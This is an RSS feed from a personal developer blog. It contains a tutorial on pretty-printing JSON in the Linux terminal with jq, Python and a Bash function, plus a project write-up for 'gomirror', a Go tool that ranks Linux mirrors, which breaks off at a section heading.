<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>thanoskoutr</title><link>https://thanoskoutr.com/</link><description>Recent content on thanoskoutr</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Thu, 16 Feb 2023 14:08:00 +0200</lastBuildDate><atom:link href="https://thanoskoutr.com/index.xml" rel="self" type="application/rss+xml"/><item><title>Pretty Print JSON in Linux Terminal</title><link>https://thanoskoutr.com/posts/pretty-print-json/</link><pubDate>Thu, 16 Feb 2023 14:08:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/pretty-print-json/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/pretty-print-json.png"/&gt;
&lt;h2 id="about"&gt;
About
&lt;a href="#about" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;JSON (JavaScript Object Notation) is a widely used data format for exchanging information between web clients and servers. However, JSON data is often densely packed, making it difficult to read when viewing it directly in the terminal. Fortunately, Linux offers several tools to help pretty-print JSON files, making them easier to read and analyze. In this post, we&amp;rsquo;ll explore various methods for formatting JSON in the Linux terminal, including &lt;code&gt;jq&lt;/code&gt;, &lt;em&gt;Python&amp;rsquo;s built-in JSON tool&lt;/em&gt;, and a &lt;em&gt;custom Bash script&lt;/em&gt; for environments where installing new tools is not possible.&lt;/p&gt;
&lt;h2 id="using-jq"&gt;
Using jq
&lt;a href="#using-jq" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="installation"&gt;
Installation
&lt;a href="#installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If &lt;code&gt;jq&lt;/code&gt; is not installed on your system, you can usually get it via your package manager:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On Debian-based systems&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install jq
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On Red Hat-based systems&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo yum install jq
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="usage"&gt;
Usage
&lt;a href="#usage" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;jq&lt;/code&gt; is a powerful command-line JSON processor. It&amp;rsquo;s a versatile tool that can be used not only for pretty-printing JSON data but also for parsing, filtering, and transforming it.&lt;/p&gt;
&lt;p&gt;Here’s how you can use jq to pretty-print a JSON file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jq . sample.json
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;.&lt;/code&gt; in the command represents the identity filter, which outputs the JSON as-is but formatted nicely.&lt;/p&gt;
&lt;p&gt;Another, more common, way to use &lt;code&gt;jq&lt;/code&gt; is to pipe the results of commands or file output to &lt;code&gt;jq&lt;/code&gt; and it will pretty-print the JSON data in the standard output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#39;{&amp;#34;key1&amp;#34;:&amp;#34;value1&amp;#34;, &amp;#34;key2&amp;#34;:22}&amp;#39;&lt;/span&gt; | jq
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;key1&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;value1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;key2&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="using-pythons-built-in-json-tool"&gt;
Using Python&amp;rsquo;s Built-in JSON Tool
&lt;a href="#using-pythons-built-in-json-tool" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="installation-1"&gt;
Installation
&lt;a href="#installation-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If Python is not installed in your Linux distribution, you can usually get it via your package manager:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On Debian-based systems&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install python3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On Red Hat-based systems&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo yum install python3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="usage-1"&gt;
Usage
&lt;a href="#usage-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Python&amp;rsquo;s standard library includes a module called &lt;code&gt;json.tool&lt;/code&gt;, which can be used as a simple way to pretty-print JSON. This is particularly handy because Python is pre-installed on most Linux distributions. Here&amp;rsquo;s the command to pretty-print a JSON file using Python:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 -m json.tool sample.json
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The command reads the JSON file, formats it, and prints it to the standard output.&lt;/p&gt;
&lt;p&gt;Similary, we can pipe the results of commands or file output to &lt;code&gt;jq&lt;/code&gt; and it will pretty-print the JSON data in the standard output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#39;{&amp;#34;key1&amp;#34;:&amp;#34;value1&amp;#34;, &amp;#34;key2&amp;#34;:22}&amp;#39;&lt;/span&gt; | python3 -m json.tool
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;key1&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;value1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;key2&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="using-custom-bash-script"&gt;
Using custom Bash script
&lt;a href="#using-custom-bash-script" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In certain environments, such as systems or Docker containers without internet access, installing new tools may not be feasible. In such cases, a custom Bash script can be used to format JSON files. Here is a simple script that accomplishes this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; jsonf&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; file&lt;span style="color:#f92672"&gt;=&lt;/span&gt;$1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; indent&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; IFS&lt;span style="color:#f92672"&gt;=&lt;/span&gt; read -r -n1 char; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; $char in
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;{&amp;#34;&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;&amp;#34;[&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$char&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#f92672"&gt;((&lt;/span&gt;indent&lt;span style="color:#f92672"&gt;+=&lt;/span&gt;4&lt;span style="color:#f92672"&gt;))&lt;/span&gt;; printf &lt;span style="color:#e6db74"&gt;&amp;#34;%&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;indent&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;s&amp;#34;&lt;/span&gt;;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;}&amp;#34;&lt;/span&gt; | &lt;span style="color:#e6db74"&gt;&amp;#34;]&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;; &lt;span style="color:#f92672"&gt;((&lt;/span&gt;indent-&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4&lt;span style="color:#f92672"&gt;))&lt;/span&gt;; printf &lt;span style="color:#e6db74"&gt;&amp;#34;%&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;indent&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;s&lt;/span&gt;$char&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;,&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$char&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;; printf &lt;span style="color:#e6db74"&gt;&amp;#34;%&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;indent&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;s&amp;#34;&lt;/span&gt;;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;*&lt;span style="color:#f92672"&gt;)&lt;/span&gt; printf &lt;span style="color:#e6db74"&gt;&amp;#34;%s&amp;#34;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$char&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;done&lt;/span&gt; &amp;lt; &amp;lt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;sed -e &lt;span style="color:#e6db74"&gt;&amp;#39;s/}/}\n/g&amp;#39;&lt;/span&gt; -e &lt;span style="color:#e6db74"&gt;&amp;#39;s/{/{\n/g&amp;#39;&lt;/span&gt; $file&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;How It Works&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Input: The script takes a JSON file as input.&lt;/li&gt;
&lt;li&gt;Indentation: It increases the indentation level after encountering an opening brace &lt;code&gt;{&lt;/code&gt; or bracket &lt;code&gt;[&lt;/code&gt;, and decreases it after a closing brace &lt;code&gt;}&lt;/code&gt; or bracket &lt;code&gt;]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;New Lines: It inserts new lines and spaces to align braces and brackets properly.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="installation-2"&gt;
Installation
&lt;a href="#installation-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We can save the above function to our &lt;code&gt;~/.bashrc&lt;/code&gt; script in order to have the &lt;code&gt;jsonf&lt;/code&gt; command available at login. After that we can source the file for our chances to be applied:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source ~/.bashrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="usage-2"&gt;
Usage
&lt;a href="#usage-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We can pretty-print a JSON file using the above bash function with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jsonf sample.json
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The function reads the JSON file, formats it, and prints it to the standard output.&lt;/p&gt;
&lt;p&gt;Similary, we can pipe the results of commands or file output to &lt;code&gt;jsonf&lt;/code&gt; and it will pretty-print the JSON data in the standard output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#39;{&amp;#34;key1&amp;#34;:&amp;#34;value1&amp;#34;, &amp;#34;key2&amp;#34;:22}&amp;#39;&lt;/span&gt; | jsonf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;key1&amp;#34;&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;value1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;key2&amp;#34;&lt;/span&gt;:22
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>gomirror - A CLI Linux distribution mirror ranker</title><link>https://thanoskoutr.com/posts/projects/go-mirror/</link><pubDate>Tue, 11 Oct 2022 02:26:20 +0300</pubDate><guid>https://thanoskoutr.com/posts/projects/go-mirror/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/gomirror.png"/&gt;
&lt;blockquote&gt;
&lt;p&gt;The project is in Work in Progress (WIP) state. A lot of functionality is still missing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="about"&gt;
About
&lt;a href="#about" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;gomirror&lt;/code&gt; is a CLI mirror ranker that its main goal is to rank or find the best mirror for a Linux distribution. Although it can be extended to be used as a more general ranker for mirrors/servers.&lt;/p&gt;
&lt;p&gt;It is build with usability, extensibility, and performance in mind. It can quickly make thousands of requests with the power of Goroutines, to all servers in parallel. Its inputs and outputs are JSON-modeled, to allow for defined but extensible input data and results. As a CLI tool it will display any results in the standard output by default, but with the correct flag it can also output them in various formats. You can find the expected inputs/outputs for the various supported formats in the &lt;code&gt;inputs/in.template.*&lt;/code&gt; and &lt;code&gt;outputs/out.template.*&lt;/code&gt; directories respectively.&lt;/p&gt;
&lt;p&gt;Its main usage is to get the available mirrors for the desired distribution (either through official website or from user input) and output the mirrors ranked or the best mirror based on the server HTTP responses.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: This is a hobby project under development. Do not expect any stable functionalities until it has some features implement and some major coding redesigns. There are still a lot of features missing that will make this tool a robust tool that can be used for mirror ranking, under real circumstances.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/github/github-original.svg" alt="GitHub" class="left" style="border-radius: 8px; max-width: 20px; margin-left: 0px; display: inline-block;" /&gt;
GitHub repository: &lt;a href="https://github.com/thanoskoutr/gomirror"&gt;https://github.com/thanoskoutr/gomirror&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="techonologies"&gt;
Techonologies
&lt;a href="#techonologies" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The main technologies used for this project (language, distributions):&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/go/go-original-wordmark.svg" alt="golang logo" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/debian/debian-original.svg" alt="heroku logo" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/ubuntu/ubuntu-original.svg" alt="heroku logo" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/archlinux/archlinux-original.svg" alt="heroku logo" class="left" style="border-radius: 8px; max-width: 45px; margin-left: 10px; display: inline-block;" /&gt;
&lt;/p&gt;
&lt;h2 id="supported-distributions"&gt;
Supported Distributions
&lt;a href="#supported-distributions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The supported distributions for now are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Arch (&lt;a href="https://archlinux.org/mirrors/status/"&gt;1&lt;/a&gt;, &lt;a href="https://archlinux.org/mirrors/status/json/"&gt;2&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Debian (&lt;a href="https://www.debian.org/mirror/list"&gt;1&lt;/a&gt;, &lt;a href="https://www.debian.org/mirror/list-full"&gt;2&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Ubuntu (&lt;a href="https://launchpad.net/ubuntu/&amp;#43;archivemirrors"&gt;1&lt;/a&gt;, &lt;a href="http://mirrors.ubuntu.com/"&gt;2&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="supported-inputs-and-outputs"&gt;
Supported Inputs and Outputs
&lt;a href="#supported-inputs-and-outputs" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The supported inputs for the mirrors are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http&lt;/code&gt; (web page with mirrors: will be either HTML parsed or JSON parsed)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;txt&lt;/code&gt; (a plain text files which has a mirror URL in every line)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;json&lt;/code&gt; (a JSON file in the expected format - with the mirror URLs and other relevant info)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The supported outputs for the mirrors are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stdout&lt;/code&gt; (print results in the terminal - default mode)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;json&lt;/code&gt; (print results in the expected JSON format - just like the input JSON but with the &lt;code&gt;statistics&lt;/code&gt; field)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;csv&lt;/code&gt; (same as JSON but in CSV format)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;txt&lt;/code&gt; (print results in the expected mirror format for each distribution - not currently implemented)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="program-internals"&gt;
Program Internals
&lt;a href="#program-internals" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;This is a brief description of the actions made during the program&amp;rsquo;s execution:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Get mirrors list:
&lt;ul&gt;
&lt;li&gt;If, explicit file input, read from file (TXT, JSON)&lt;/li&gt;
&lt;li&gt;Else, read mirrors online (parse HTML or JSON page)
&lt;ul&gt;
&lt;li&gt;If, error reading (mirror site, or individual links) fallback to ready-made mirrors lists in source-code (Go maps) - not implemented.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Create requests:
&lt;ul&gt;
&lt;li&gt;If country not supplied, find country automatically&lt;/li&gt;
&lt;li&gt;Find round of requests (currently only 1)&lt;/li&gt;
&lt;li&gt;Make 1 request per host (filter by host)&lt;/li&gt;
&lt;li&gt;Generate requests statistics (HTTP response time)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Find best distribution mirror server:
&lt;ul&gt;
&lt;li&gt;Based on:
&lt;ul&gt;
&lt;li&gt;http (time)&lt;/li&gt;
&lt;li&gt;ping (time) - not implemented&lt;/li&gt;
&lt;li&gt;traceroute (hops) - not implemented&lt;/li&gt;
&lt;li&gt;location (country) - not implemented&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Rank distribution mirror servers:
&lt;ul&gt;
&lt;li&gt;Sort them&lt;/li&gt;
&lt;li&gt;Show Statistics:
&lt;ul&gt;
&lt;li&gt;http (time)&lt;/li&gt;
&lt;li&gt;ping (time) - not implemented&lt;/li&gt;
&lt;li&gt;traceroute (hops) - not implemented&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Produce output:
&lt;ul&gt;
&lt;li&gt;Export in multiple formats: &lt;code&gt;stdout&lt;/code&gt;, &lt;code&gt;json&lt;/code&gt;, &lt;code&gt;csv&lt;/code&gt;, &lt;code&gt;txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="installation"&gt;
Installation
&lt;a href="#installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To run the tool, first we need to clone the repository and build it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ git clone https://github.com/thanoskoutr/gomirror.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cd gomirror
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To have the executable available everywhere in the system we can copy it to a location that is available under the &lt;code&gt;$PATH&lt;/code&gt; environmental variable (e.g. &lt;code&gt;/usr/local/bin&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo cp ./gomirror /usr/local/bin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="usage"&gt;
Usage
&lt;a href="#usage" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We can run the tool with the help flag (&lt;code&gt;-h&lt;/code&gt;) to view all available options:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ ./gomirror -h
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="testing"&gt;
Testing
&lt;a href="#testing" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To run the tests for all sub-packages (recursively):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ go test -v ./...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="other-similar-tools"&gt;
Other similar Tools
&lt;a href="#other-similar-tools" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
